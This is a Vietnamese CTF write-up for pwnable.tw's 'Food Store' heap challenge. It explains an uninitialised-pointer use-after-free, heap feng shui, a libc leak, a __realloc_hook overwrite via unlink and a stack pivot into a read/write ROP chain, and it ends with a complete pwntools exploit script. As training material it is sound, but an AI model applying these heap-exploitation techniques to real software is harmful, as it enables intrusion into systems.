Food Store
Vuln: Con trỏ next trỏ đến Recipe tiếp theo ko đc init khi tạo Recipe mới, có thể bị lợi dụng để trỏ về chunk đã free, dẫn đến UAF, tạo chunk overlap.
tl;dr: Không chỉ setup heap cho mục tiêu ngay trước mắt, mà cần tính toán cho các bước về sau; Heap spray, rồi lợi dụng alignment khi cấp phát để kiểm soát uninit data.
Recon
Mitigation
$ file food_store
food_store: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=98eceb5c10bfb25dc0e6057ba34d3b3101cdc4e9, stripped$ pwn checksec food_store
[*] '/home/hungnt/pwnable.tw/food-store/food_store'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: EnabledGLIBC Version
pwndbg> libc
libc: glibc
libc version: 2.24
linked: dynamically
URLs:
project homepage: https://sourceware.org/glibc/
read the source: https://elixir.bootlin.com/glibc/glibc-2.24/source
download the archive: https://ftp.gnu.org/gnu/libc/glibc-2.24.tar.gz
git clone https://sourceware.org/git/glibc.git
Mappings:
libc is at: 0x79a76c800000
/home/hungnt/pwnable.tw/food-store/libc-4e5dfd832191073e18a09728f68666b6465eeacd.so
ld is at: 0x79a76cc00000
/home/hungnt/pwnable.tw/food-store/ld-linux-x86-64.so.2
Symbolication:
has exported symbols: yes
has internal symbols: yes
has debug info: yesSeccomp
$ sudo seccomp-tools dump ./food_store
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x00000014 if (A != writev) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x0000000b if (A != munmap) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILLMục tiêu cuối cùng là cần phải ROP.
Solve
Bug chính nằm ở việc con trỏ next của Recipe ko đc init khi tạo Recipe mới, chỉ có title và ingredients đc init:
unsigned __int64 AddRecipe()
{
int v1; // [rsp+4h] [rbp-7Ch]
int i; // [rsp+8h] [rbp-78h]
int index; // [rsp+Ch] [rbp-74h]
Recipe *new_recipe; // [rsp+10h] [rbp-70h]
Recipe *current_recipe; // [rsp+18h] [rbp-68h]
unsigned __int64 ingredient_index; // [rsp+20h] [rbp-60h]
__int64 next_choice; // [rsp+28h] [rbp-58h]
char s[32]; // [rsp+30h] [rbp-50h] BYREF
char magic_bytes[40]; // [rsp+50h] [rbp-30h] BYREF
unsigned __int64 v10; // [rsp+78h] [rbp-8h]
v10 = __readfsqword(0x28u);
current_recipe = 0LL;
ingredient_index = 0LL;
next_choice = 0LL;
v1 = 0;
memset(s, 0, sizeof(s));
memset(magic_bytes, 0, 32uLL); // only clear 32 bytes
new_recipe = (Recipe *)realloc(0LL, 0x88uLL);
if ( !new_recipe )
output("Allocate Error !", 1);
for ( i = 0; i <= 7; ++i )
{
s[i] = *((_BYTE *)&new_recipe + i);
sprintf(&magic_bytes[2 * i], "%02X", (unsigned __int8)(s[i] ^ rand8[i]));// heap address XOR'ed?
}
for ( index = 0; index <= 12; ++index )
new_recipe->ingredients[index] = 0LL;
_printf_chk(1LL, "Magic : %s\n", magic_bytes);// this is weird
_printf_chk(1LL, "Title :");
_isoc99_scanf("%23s", new_recipe); // safe
getchar();
ShowIngredients();
do
{
_printf_chk(1LL, "Choose ingredient :");
ingredient_index = read_long();
if ( (unsigned int)player_ingredient_count <= ingredient_index )
{
output("Out of bound\n", 1);
}
else if ( player_inventory[ingredient_index] )
{
v1 = AddIngredientToRecipe(new_recipe, player_inventory[ingredient_index]);
}
if ( !v1 )
break;
_printf_chk(1LL, "Add more ingredient ? (1/Yes,2/No) : ");
next_choice = read_long();
}
while ( next_choice == 1 );
for ( current_recipe = recipe_head; current_recipe && current_recipe->next; current_recipe = current_recipe->next )
;
if ( recipe_head )
current_recipe->next = new_recipe;
else
recipe_head = new_recipe;
return __readfsqword(0x28u) ^ v10;
}Mục tiêu mình đặt ra đầu tiên là leak đc libc, vậy mình cần fengshui sao cho linked list Recipe có dạng: head -> chunk 1 -> chunk 2 -> null, với chunk 2 nằm trong unsortedbin hoặc smallbin.
Nhưng mà nếu chỉ tập trung fengshui để leak libc, thì leak xong mình ko còn resource để làm gì khác được, cạn power và money. Nên trước hết phải nghĩ cách buf power và money, buf đc power thì tự khắc có money.
Để buf power, ý tưởng là tạo chunk overlap, khiến cho 1 recipe là ingredient của chính nó, và khi thêm 2 ingredients, nó overlap và ghi địa chỉ heap vào trường price và quantity, dẫn đến price rất lớn -> energy lớn -> buf power.

Ok sau khi power đã rất lớn rồi, mình ko cần quan tâm về nó nữa. Cần tiền thì cứ cook rồi cho NPC.
Có đc libc rồi, việc tiếp theo cần làm là có write primitive để overwrite được realloc hook. Ban đầu mình định thực hiện fengshui như trên 1 lần nữa, ghi đè con trỏ next vào một CookedFood chunk. Nếu eat() rồi sau đó free recipe, thì mình có đc fastbin dup, rồi ghi đè fd đến hook là đc. Nhưng mình nhầm to, các chunk đang ở fastbins 0x40, ko phải 0x70, mình ko cấp phát đến hook đc.
Mình cố gắng nghĩ thêm các ý tưởng khác nhưng đều fail, mình hỏi ý tưởng của Kiên và thấy solution rất hay. Lần tiếp theo này vẫn lợi dụng việc next ko đc init. Để có đc write primtive, mình lợi dụng cơ chế unlink khi xoá Recipe:
if ( !strcmp(current_recipe->title, title) )
{
if ( prev_recipe )
prev_recipe->next = current_recipe->next;
else
recipe_head = current_recipe->next;
realloc(current_recipe, 0LL); // free, no reference left since out of scope
return __readfsqword(0x28u) ^ v4;
}Mục tiêu là ghi prev_recipe->next thành realloc hook, current_recipe->next thành gadget nào đó. Vậy làm sao để có 2 thứ đó?

Mình cấp phát các chunk Recipe A, B, C, D, E liên tiếp rồi free theo thứ tự ngược lại E, D, C, B, A. Khi cấp phát C, ghi địa chỉ realloc hook - 0x80 vào offset 0x10 (tránh bị ghi đè bởi fd và bk), cấp phát D, ghi địa chỉ gadget tương ứng. Bây giờ trong unsortedbin, ABCDE là một chunk lớn, mình spray heap sao cho trường next trùng đúng với các giá trị mình vừa ghi.
Rồi remove recipe để lợi dụng unlink ghi gadget vào realloc hook

Để pivot stack đến heap, thì cái hay đó là, trong realloc hook có instruction mov rbp, rdi. Mà rdi đang là trên heap, vì lúc đó mình đang realloc(địa chỉ heap) mà. Vậy ghi leave; ret vào realloc hook, ghi hàm gets() vào chỗ title (AAA kia), thì lúc leave rồi ret thì mình có thể đọc ROP chain dài vào (vì rdi vẫn ở đó). ROP ORW là xong.
Script
#!/usr/bin/env python3
from pwn import *
import shutil
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recvn(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
lg = lambda t, addr: print(t, '->', hex(addr))
binsh = lambda libc: next(libc.search(b"/bin/sh\0"))
leak_bytes = lambda r, offset=0: u64(r.ljust(8, b"\0")) - offset
leak_hex = lambda r, offset=0: int(r, 16) - offset
leak_dec = lambda r, offset=0: int(r, 10) - offset
pad = lambda l, c: c * l
z = lambda l: l * b'\0'
A = lambda l: l * b'A'
e = context.binary = ELF('./food_store_patched', checksec=False)
libc = ELF('./libc-4e5dfd832191073e18a09728f68666b6465eeacd.so', checksec=False)
ld = ELF('ld-linux-x86-64.so.2', checksec=False)
TERMINAL = 0
USE_PTY = False
GDB_ATTACH_DELAY = 1
ALLOW_MEM = 0
_wsl_distro = os.environ.get("WSL_DISTRO_NAME", "Ubuntu")
terms = {
1: ["/usr/bin/tilix", "-a", "session-add-right", "-e", "bash", "-c"],
2: ["tmux", "split-window", "-h"],
3: ["/mnt/c/Windows/system32/cmd.exe", "/c", "start", "wt.exe",
"-w", "0", "split-pane", "-V", "-s", "0.5",
"wsl.exe", "-d", _wsl_distro, "bash", "-c"],
}
if TERMINAL == 0:
if shutil.which("tilix"):
context.terminal = terms[1]
elif os.path.exists("/proc/version") and "microsoft" in open("/proc/version").read().lower():
context.terminal = terms[3]
elif shutil.which("tmux"):
context.terminal = terms[2]
else:
raise ValueError("Auto-detect failed: none of tilix, wsl2, tmux found")
elif TERMINAL in terms:
context.terminal = terms[TERMINAL]
else:
raise ValueError(f"Unknown terminal: {TERMINAL}")
gdbscript = '''
cd ''' + os.getcwd() + '''
set solib-search-path ''' + os.getcwd() + '''
cymbol file --force ./structs.h
set sysroot /
set follow-fork-mode parent
set detach-on-fork on
piebase 0x2050D0
piebase 0x2050A0
# brva 0x1C6C
# brva 0x22F6
b *__libc_realloc
continue
'''
def attach(p):
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
sleep(GDB_ATTACH_DELAY)
def _mem_limit():
if ALLOW_MEM > 0:
import resource
limit = int(ALLOW_MEM * 1024 ** 3)
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))
def conn():
if args.LOCAL:
if USE_PTY:
p = process([e.path], stdin=PTY, stdout=PTY, stderr=PTY, preexec_fn=_mem_limit)
else:
p = process([e.path], preexec_fn=_mem_limit)
sleep(0.05)
return p
else:
host = "chall.pwnable.tw"
port = 10406
return remote(host, port)
MC = b"Your choice: "
def set_name(name): sla(p, b"Your name: ", name)
def goto_recipe(): slan(p, MC, 1)
def goto_assign(): slan(p, MC, 2)
def goto_info(): slan(p, MC, 3)
def goto_shop(): slan(p, MC, 4)
def goto_cook(): slan(p, MC, 5)
def goto_eat(): slan(p, MC, 6)
def goto_exit(): slan(p, MC, 7)
def cook(title):
goto_cook()
sla(p, b"What do you want to cook :", title)
def eat(food_id):
goto_eat()
slan(p, b"What do you want to eat ? :", food_id)
def do_assign(accept=True):
goto_assign()
ru(p, b"Can you prepare it for me ?")
slan(p, b"Your choice (1/Yes,0/No) :", 1 if accept else 0)
def recipe_return(): slan(p, MC, 4)
def add_recipe(title, ingredient_indices):
slan(p, MC, 1)
ru(p, b"Magic : ")
magic = rl(p).strip()
sla(p, b"Title :", title)
for i, idx in enumerate(ingredient_indices):
slan(p, b"Choose ingredient :", idx)
slan(p, b"(1/Yes,2/No) : ", 1 if i < len(ingredient_indices) - 1 else 2)
return magic
def remove_recipe(title):
slan(p, MC, 2)
sla(p, b"Title :", title)
def show_recipe(): slan(p, MC, 3)
def shop_return(): slan(p, MC, 4)
def buy(slot, quantity):
slan(p, MC, 1)
slan(p, b"What do you want to buy ? :", slot)
slan(p, b"Quantity :", quantity)
def npc():
while True:
do_assign()
r = ru(p, b'xxxxxxxxxxxxxxxxxxxxxxxxxxx')
if b'NPC: Thank you !' in r:
break
'''
Shop inventory:
No.0
Ingredient : Egg
Quantity : 3
Price : 40
No.1
Ingredient : Pineapple
Quantity : 1
Price : 217
No.2
Ingredient : Flouir
Quantity : 2
Price : 127
No.3
Ingredient : Suger
Quantity : 2
Price : 40
No.4
Ingredient : Apple
Quantity : 2
Price : 80
No.5
Ingredient : Beef
Quantity : 2
Price : 400
No.6
Ingredient : Salt
Quantity : 2
Price : 30
No.7
Ingredient : Pork
Quantity : 2
Price : 300
No.8
Ingredient : Scallion
Quantity : 2
Price : 20
'''
'''
Player inventory:
No.0
Ingredient : Egg
Quantity : 0
Price : 40
No.1
Ingredient : Pineapple
Quantity : 0
Price : 217
No.2
Ingredient : Flouir
Quantity : 0
Price : 127
No.3
Ingredient : Suger
Quantity : 1
Price : 40
No.4
Ingredient : Beef
Quantity : 0
Price : 400
No.5
Ingredient : Salt
Quantity : 0
Price : 30
No.6
Ingredient : Scallion
Quantity : 7
Price : 20
No.7
Ingredient : Apple
Quantity : 1
Price : 80
No.8
Ingredient : Pork
Quantity : 1
Price : 300
'''
attempt = 0
while True:
attempt += 1
print("\n----------> Attempt", attempt)
p = conn()
set_name(b'Hung')
# Get to level 2 to add recipe
cook(b'Beef noodles') # -10 power
eat(0) # +18 power
cook(b'Beef noodles') # -10 power
eat(0) # +18 power
# NOT THIS! This left 2 chunks in fastbins
# cook(b'Beef noodles')
# cook(b'Beef noodles')
# eat(0)
# eat(0)
# Level power money = 2 36 100
goto_recipe()
add_recipe(b'0', [0])
recipe_return()
cook(b'0')
npc()
# Level power money = 3 26 534
print("Heap fengshui, next ptr -> chunk in smallbin")
goto_recipe()
add_recipe(b'1', [0])
add_recipe(b'2', [0])
recipe_return()
if not args.LOCAL:
print("Wait for restock, 13s")
sleep(13)
goto_shop()
buy(6, 1)
shop_return()
goto_recipe()
add_recipe(b'3', [0])
add_recipe(b'4', [0])
recipe_return()
goto_shop()
buy(8, 1)
shop_return()
# recipe head -> 1 -> 2 ---(Barrier)---> 3 -> 4 ---(Barrier)---> null
goto_recipe()
remove_recipe(b'2')
remove_recipe(b'1')
# recipe head -> 3 -> 4 ---(Barrier)---> null
# unsortedbin head -> (1+2) <- tail
remove_recipe(b'4')
remove_recipe(b'3')
# recipe head -> null
# unsortedbin head -> (3+4) -> (1+2) <- tail, but 1's next still point to 3
add_recipe(b'1', [0, 3]) # +2 power each
# recipe head -> 1 -> 3 -> null
# smallbin head -> (3+4) <- tail
print("Leaking libc address")
show_recipe()
for i in range(5):
ru(p, b'Title : ')
libc.address = leak_bytes(rn(p, 6), 0x3c1c68)
lg("libc base", libc.address)
recipe_return()
# Level power money = 3 26 484
goto_shop()
# Restock
for i in range(8):
slan(p, MC, 1)
slan(p, b"What do you want to buy ? :", 9)
# Take from unsortedbin
buy(4, 1)
buy(7, 1)
shop_return()
# Take from fastbin
cook(b'1')
# Take from smallbin (UAF chunk)
cook(b'1')
# Level power money = 3 6 104
goto_recipe()
add_recipe(b'555', [5, 6])
# Add 2 ingredients to overlap price and quantity
'''
pwndbg> dt "struct Recipe" 0x62a9142249b0
struct Recipe @ 0x62a9142249b0
0x000062a9142249b0 +0x0000 title : "555\000\003s\000\000X\033\274\026\003s\000\000\000\000\000\000\000\000\000"
0x000062a9142249c8 +0x0018 ingredients : {0x62a914224940, 0x62a914224a90, 0x0, 0x0, 0x0, 0x62a9142249b0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
0x000062a914224a30 +0x0080 next : 0x0
pwndbg> dt "struct Ingredient" 0x62a9142249b0
struct Ingredient @ 0x62a9142249b0
0x000062a9142249b0 +0x0000 name : "555\000\003s\000\000X\033\274\026\003s\000\000\000\000\000\000\000\000\000\000@I\"\024\251b\000"
0x000062a9142249d0 +0x0020 price : 0x14224a90
0x000062a9142249d4 +0x0024 quantity : 0x62a9
'''
recipe_return()
eat(0) # +2 power
eat(0) # +2 power
# power = 10, 1 cook
cook(b'555') # Large energy
eat(0) # Now recipe 555 is corrupted
# No need to care about power anymore
goto_shop()
buy(8, 5)
shop_return()
goto_recipe()
add_recipe(b'10', [6])
recipe_return()
# Make money
for i in range(5):
cook(b'10')
npc()
goto_shop()
# To cook '10'
buy(8, 10)
# To cook beef noodles
buy(2, 1)
buy(5, 1)
shop_return()
# Clear stuff in bins
cook(b'Beef noodles') # Allocate to corrupted chunk to clear stuff
cook(b'10')
cook(b'10')
cook(b'10')
# Heap spray, then abuse uninit next pointer via alignment
goto_recipe()
realloc_hook = libc.symbols['__realloc_hook']
leave_ret = libc.address + 0x00000000000424a5
# The goal is to use this: prev_recipe->next = current_recipe->next; to write to realloc hook
# Since realloc has "mov rbp, rdi", later rdi point to heap, we leave; ret to pivot stack
D = flat(A(0x10), realloc_hook - 0x80)[:-1]
E = flat(A(0x10), leave_ret)[:-1]
add_recipe(b'A', [0])
add_recipe(b'B', [0])
add_recipe(b'C', [0])
add_recipe(D, [0])
add_recipe(E, [0])
add_recipe(b'F', [0])
add_recipe(b'G', [0]) # Barrier -> top chunk
remove_recipe(b'F')
remove_recipe(E)
remove_recipe(D)
remove_recipe(b'C')
remove_recipe(b'B')
remove_recipe(b'A')
recipe_return()
# Heap spray for alignment
for i in range(5):
cook(b'10')
goto_recipe()
add_recipe(b'D', [0])
E = flat(A(0x8), libc.symbols['gets'])
add_recipe(E, [0])
attach(p)
# rdi is still point to that, so gets() would read longer ROP chain
remove_recipe(E)
syscall = libc.address + 0x00000000000bc765
pop_rdi = libc.address + 0x000000000001fd7a
pop_rdx = libc.address + 0x0000000000001b92
pop_rsi = libc.address + 0x000000000001fcbd
pop_rax = libc.address + 0x000000000003a998
ROP_chain = flat(
A(0x10),
pop_rdi, 3, # /home/food_store/flag already opened
pop_rsi, libc.bss(),
pop_rdx, 0x100,
pop_rax, 0,
syscall, # read
pop_rdi, 1,
pop_rsi, libc.bss(),
pop_rdx, 0x100,
pop_rax, 1,
syscall # write
)
sl(p, ROP_chain)
print(ra(p, 2))
p.close()
break